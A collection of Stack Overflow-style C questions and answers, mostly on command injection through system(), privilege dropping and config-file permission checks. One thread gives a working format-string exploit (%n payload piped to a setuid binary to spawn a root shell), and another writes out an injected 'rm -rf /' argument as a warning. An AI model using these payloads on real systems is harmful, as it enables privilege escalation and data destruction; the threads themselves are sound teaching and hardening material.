u said still it will run something in background - c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main (int argc, char **argv) {
char *command;
if (argc != 2) {
fprintf (stderr, "Wrong number of arguments\n");
return 1;
}
if ((command = malloc (strlen (argv[1]) + 6)) == NULL) {
fprintf (stderr, "Could not allocate memory\n");
return 1;
}
strcpy (command, "echo ");
strcat(command,argv[1]);
system(command);
free (command);
return 0;
}
how to patch this code so there wont be any privelige given to user
the thing is by running this i can get acess as root user how to edit this so that this will not happen

Call seteuid(2) to drop root privileges before calling system(3).

Do you have to use system()? The easiest way to avoid security problems is to not feed user input into system(). In your example, what is your system() call doing that you can't do with a simple printf?
The program is limited to the permissions of the user account that runs the program. Run the program using a limited-access user account that doesn't have privileges to use sudo, su, etc. Create a "jail" using chroot and run the program inside that jail as a non-privileged user to limit the amount of your system that the program has access to.

Related

make a program to run other program on C

I have a program that works like this
program1.exe program2.exe
I need to make it run like this
%USERPROFILE%\program1.exe program2.exe
How can that be done on C?
From what I could see, you're using Microsoft Windows.
There are (at least) two answers to your question, a simple one, and one tied to the Windows operating system interface, usually called Win32 API.
Let's use the simple one. If your prefer to have more control about the execution of the 2nd program, please comment.
#include <stdio.h> /* printf() */
#include <stdlib.h> /* system() */
int main(int argc, char* const* argv)
{
int rv;
if (argc < 2) {
printf("Please inform the name of the program to execute.\n");
return 1;
}
rv = system(argv[1]);
printf("Program execution returned %d\n", rv);
return 0;
}

Setuid binary to spawn root shell by overriding %n, does not work with exploit but works when exploit is unnecessary

I have a Setuid binary that has a printf format string vulnerability that is supposed to be exploited with "%n" to overwrite the value of the authenticated global variable. The execution of /bin/bash works with root Setuid permissions when authenticated = 1, but not when authenticated = 0 and the exploit is used.
I have tried with ls and it works, so the exec is happening. I have also tried making authenticated = 1 in the source so it automatically runs bash with no exploit. This works in spawning a root shell. When the exploit is used, the program calls the access granted function as expected, but ends at the exec and perror is never reached. The parent process dies, though, meaning the exec of bash must have happened. Bash must be being executed, but it is crashing/exiting on startup.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
With authenticated = 0, I use gdb to find the address of authenticated is somewhere like 0x0804a050. I run the program with AAAA %x %x %x... to find that buf begins at the 4th stack position. My exploit then is: python -c "print('\x50\xa0\x04\x08%x%x%x%n')" which successfully overwrites the global var as "Access Granted!" is printed. The perror is never reached, and Bash must spawn, but the parent process dies, so the Bash process must have died also.
This does not happen when authenticated = 1. In that scenario, the Setuid binary behaves as expected and pops a root shell.
My question is: why is Bash dying on startup but only when the Detuid binary is exploited?
Bash must be dying because ps -aux does not list a new Bash process, and running exit exits the calling bash instance.
When you run one of:
python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload
The only input is your exploit. You don't input any commands, so bash has nothing to do and exits. This is the same thing that happens if you run true | bash or bash < /dev/null.
If you want to be able to type in some commands manually afterwards, the easiest way to do that is:
{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln

basic CLI program in C

Okay so overall im trying to complete a basic CLI C program which will complete functions such as clear, quit, cd, ls, help (bring up the unix man) etc.. i altered my code and so far i have this, im getting segmination error when trying to execute the cd command part of the program, (im very new to c btw);
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
int main (int argc, char *argv[])
{
char input[] = " ";
char *argument;
while(strcmp(input, "quit")!= 0)
{
printf("$");
scanf ("%s", input);
if(strcmp(input,"clear") == 0)
{
printf("\e[1;1H\e[2J");
}
else if(strcmp(argv[1],"cd") == 0)
{
if(chdir(argv[2]) == -1)
{
printf("\n directory does not exists");
}
}
else if(strcmp(input, "echo") == 0)
{
char str[50];
scanf("%[^\n]+", str);
printf(" %s", str);
}
}
}
input is declared as a ' ' (space) character. It will never match 'cd'.
This is probably more along the lines of what you want to achieve, where the first parameter is the command (cd), and the second will be the directory:
int main (int argc, char *argv[])
{
char *argument;
if(strcmp(argv[1],"cd") == 0)
{
if(chdir(argv[2]) == -1)
{
printf("\n directory does not exists");
}
}
Edit Also please note that there is no need for the else satement. If chdir does not return an error, it will change the directory, thus no need to call it again in an else.
Additionally, another tip for using system calls in general, it would be of great help if you print the error number returned by the system upon a failure in system call. This will make things easier when things start going wrong. To do this simply include <errno.h>' and modify the printf to printerrno` which gives specific details about the error:
printf("Chdir error: %d", errno);
For instance chdir() does not only return an error when the directory does not exist, but also for example if you do not have permissions to view the contents of the directory. See the man page for a list of possible errors.
To implement your own shell, you need to take input directly from stdin, not from command-line arguments (argv) from another shell. The basic pattern is like this:
Read input
Execute command
Print results
Loop back to step 1

How to ensure correct file permissions

In order to protect an application from begin used wrongly, I'm trying to check that its configuration files have correct permissions, so that the application can trust the content of the files not being modified by someone else.
I believe the following rules are corrects:
the file must not be writable by others
the file must be owned by a trusted user/group: root
or
the file must be owned by the effective user/group running the application (think of setuid program)
Here an example:
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <errno.h>
static
int is_secure(const char *name)
{
struct stat st;
uid_t euid = geteuid();
gid_t egid = getegid();
if (stat(name, &st) != 0) {
int err = errno;
fprintf(stderr, "can't stat() '%s': %d (%s)\n", name, err, strerror(err));
return 0;
}
/* writable by other: unsecure */
if ((st.st_mode & S_IWOTH) != 0) {
return 0;
}
/* not owned by group root and not owned by effective group: unsecure */
if (st.st_gid != 0 && st.st_gid != egid) {
return 0;
}
/* not owned by user root and not owned by effective user: unsecure */
if (st.st_uid != 0 && st.st_uid != euid) {
return 0;
}
return 1;
}
int
main(int argc, char *argv[])
{
int i;
for(i = 1; i < argc; i++) {
printf("'%s' : %s\n", argv[i], is_secure(argv[i]) ? "sure" : "unsure");
}
return 0;
}
Since I'm not sure about my assumptions, can someone check if I leave some loophole in the file permissions check.
Update
sudo has a function for that: sudo_secure_path, it only check for one uid/gid, but it take care of checking for group write bit.
Regards.
Your rules and your code look correct to me, although you should be aware of the following security risks that could still affect your implementation.
An attacker with physical access to the machine or NFS/SMB access could mount the file system with a box that has root privileges, and then modify your file.
A vulnerability in another program being run as either the trusted user or root could allow that program to be exploited to modify your file.
All it would take to break your security check would be a careless user or sys-admin that messes up the privilege settings of the file. I've seen this happen during backups and copies to thumb drives, etc.
Also make sure the file is not executable. I can't think of an instance where this could be exploited on a config file, but the general rule with security is don't give any privileges that aren't required for the job.
As you can see these are not issues under control of your code. Therefore, you should make sure you client is aware of these risks before assuring them of the non-tamperability of the config file.
I believe you also want to check permissions on the directory.
A user would be able to mv another file belonging to the correct user to replace this one, if they are allowed to write to the directory.
Something like:
sudo touch foo.conf
sudo touch foo.conf-insecure-sample
mv -f foo.conf-insecure-sample foo.conf

linux how to patch this code

#include <WhatHere?>
#include <WhatHere?>
#include <WhatHere?>
int main(int argc, char **argv) {
char command[50] = "echo ";
strcat(command,argv[1]); // concatenate the input so that the final command is "echo <input>"
system(command); // call the system() function to print the input
return 0; // denote that the program has finished executing successfully
}
Can we get a remote access by running this code ? I know it is possible but please help me patch it up.
Assuming that you're worried about the potential buffer overflow, you could fix it like this:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main (int argc, char **argv) {
char *command;
if (argc != 2) {
fprintf (stderr, "Wrong number of arguments\n");
return 1;
}
if ((command = malloc (strlen (argv[1]) + 6)) == NULL) {
fprintf (stderr, "Could not allocate memory\n");
return 1;
}
strcpy (command, "echo ");
strcat(command,argv[1]);
system(command);
free (command);
return 0;
}
This makes enough room for "echo " (5), argv[1] (string length) and the null terminator (1).
It's still potentially dangerous allowing user-specified stuff to be run but at least you won't get buffer overflows any more.
Paxdiablo gave a good solution to your buffer overflow problem, but that's really the least of your problems here. Your big issue is that you are blindly using input from the user without inspecting it first.
For example, running your program like:
./your_app "\"goodbye data\" && rm -rf /"
would end in disaster, even if you program had no buffer overflow problems. An attacker could just as easily pass in an entire shell script that did all sorts of nasty things, all they would have to do is re-write it to fit in a single line.
You need to inspect incoming user input before you pass it to system() and make sure that it looks like what you are expecting. Better yet, avoid using system() with user input entirely and instead use safer methods to do what you need (in your example, you can replace your call to system("echo ...") with printf()). If you absolutely must pass user input to system(), consider running your app in a restricted environment like a chroot jail to at least make it more difficult to do anything nasty.

Resources